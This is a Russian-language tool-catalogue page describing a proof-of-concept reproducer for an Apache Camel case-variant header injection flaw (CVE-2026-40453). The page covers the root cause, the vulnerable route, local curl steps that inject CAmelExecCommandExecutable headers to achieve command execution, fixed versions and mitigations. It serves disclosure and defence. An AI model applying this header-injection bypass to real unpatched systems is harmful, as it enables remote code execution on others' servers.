Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40453 — Репродуктор для CVE-2026-40453: инъекция Camel-заголовков с вариантами регистра в Apache Camel (неполное исправление CVE-2025-27636) | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-40453
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHuboscerd/cve-2026-40453

CVE-2026-40453

Репродуктор для CVE-2026-40453: инъекция Camel-заголовков с вариантами регистра в Apache Camel (неполное исправление CVE-2025-27636)

Репозиторий
22 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Репродуктор инъекции заголовков Camel с вариантом регистра (CVE-2026-40453)

Этот проект демонстрирует CVE-2026-40453 — неполное исправление для CVE-2025-27636. Исправление 2025 года добавило setLowerCase(true) в HttpHeaderFilterStrategy, чтобы имена заголовков с вариантом регистра (например, CAmelExecCommandExecutable) отфильтровывались наряду с каноническим CamelExecCommandExecutable. Тот же вызов не был применён к пяти не-HTTP реализациям HeaderFilterStrategy (camel-jms, camel-sjms, camel-coap, camel-google-pubsub), которые фильтруют с учётом регистра, в то время как Camel Exchange хранит заголовки в карте, чувствительной к регистру. Поэтому злоумышленник может внедрить управляющий заголовок с вариантом регистра, который обходит фильтр, но по-прежнему распознаётся компонентами ниже по потоку (, , ...) под своим каноническим именем → / произвольная запись файлов.

не
Camel*
camel-exec
camel-file
удалённое выполнение кода

Этот репродуктор демонстрирует обход с помощью camel-coap (самодостаточный, без внешнего брокера); тот же недостаток затрагивает стратегии JMS/SJMS/Google-Pubsub.

Бюллетень: https://camel.apache.org/security/CVE-2026-40453.html

Сводка об уязвимости

СвойствоЗначение
Компонентыcamel-jms, camel-sjms, camel-coap, camel-google-pubsub (в этом PoC используется camel-coap)
Затронутые классыJmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy
Корневая причинаФильтрация startsWith("Camel"/"camel") с учётом регистра (отсутствует setLowerCase(true)) в сравнении с нечувствительной к регистру картой заголовков Exchange
CWECWE-20 (Improper Input Validation) — инъекция заголовков сообщений
ВоздействиеRCE / произвольная запись файлов через продюсеры, управляемые заголовками
Затронутые версииНачиная с 3.0.0 и до 4.14.6, начиная с 4.15.0 и до 4.18.2, начиная с 4.19.0 и до 4.20.0
Исправленные версии4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23313 (завершает исправление для CVE-2025-27636)
ИсследовательSaroj Khadka

Технические детали

CoAPHeaderFilterStrategy (затронутая версия) фильтрует Camel* с учётом регистра:

root@kitploit:~
public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

Когда поступает CoAP-запрос, CamelCoapResource.handleRequest() помещает каждый параметр URI-запроса в заголовки входящего сообщения Exchange, пропуская его через strategy.applyFilterToExternalHeaders(name, value, exchange):

  • CamelExecCommandExecutable — startsWith("Camel") возвращает true → отфильтровывается.
  • CAmelExecCommandExecutable — startsWith("Camel") возвращает false (CAm ≠ Cam) → не отфильтровывается.

Карта заголовков Exchange не чувствительна к регистру, поэтому заголовок с вариантом регистра позже распознаётся exec-продюсером под своим каноническим именем CamelExecCommandExecutable, переопределяя команду.

Уязвимый маршрут

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

Предварительные требования

  • Java 17+ и Maven 3.8+
  • Docker

Шаги воспроизведения

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

1) Безвредный запрос

root@kitploit:~
curl http://localhost:8080/exploit/normal      # -> hello

2) Канонический заголовок — ОТФИЛЬТРОВАН (без RCE)

root@kitploit:~
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false   (the filter strips canonical Camel* headers)

3) Заголовок с вариантом регистра — ОБХОД (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true   (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned

Очистка

root@kitploit:~
docker compose down

Рекомендуемое исправление

Выполните обновление до 4.14.6 / 4.18.2 / 4.20.0. Исправление (CAMEL-23313) добавляет setLowerCase(true) в пять не-HTTP реализаций HeaderFilterStrategy, чтобы имена Camel* с вариантом регистра также отфильтровывались.

Смягчение

До обновления:

  1. Удаляйте заголовки Camel без учёта регистра ниже по потоку от недоверенных продюсеров — используйте пользовательский HeaderFilterStrategy с setLowerCase(true) или removeHeaders с шаблоном без учёта регистра.
  2. Не пересылайте недоверенные JMS / CoAP / Pub-Sub сообщения в продюсеры, управляемые заголовками.

Файлы

root@kitploit:~
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # victim: from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (filtered), /attack (case-variant bypass)
    └── resources/
        └── application.properties

Отказ от ответственности

Этот репродуктор предоставляется только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент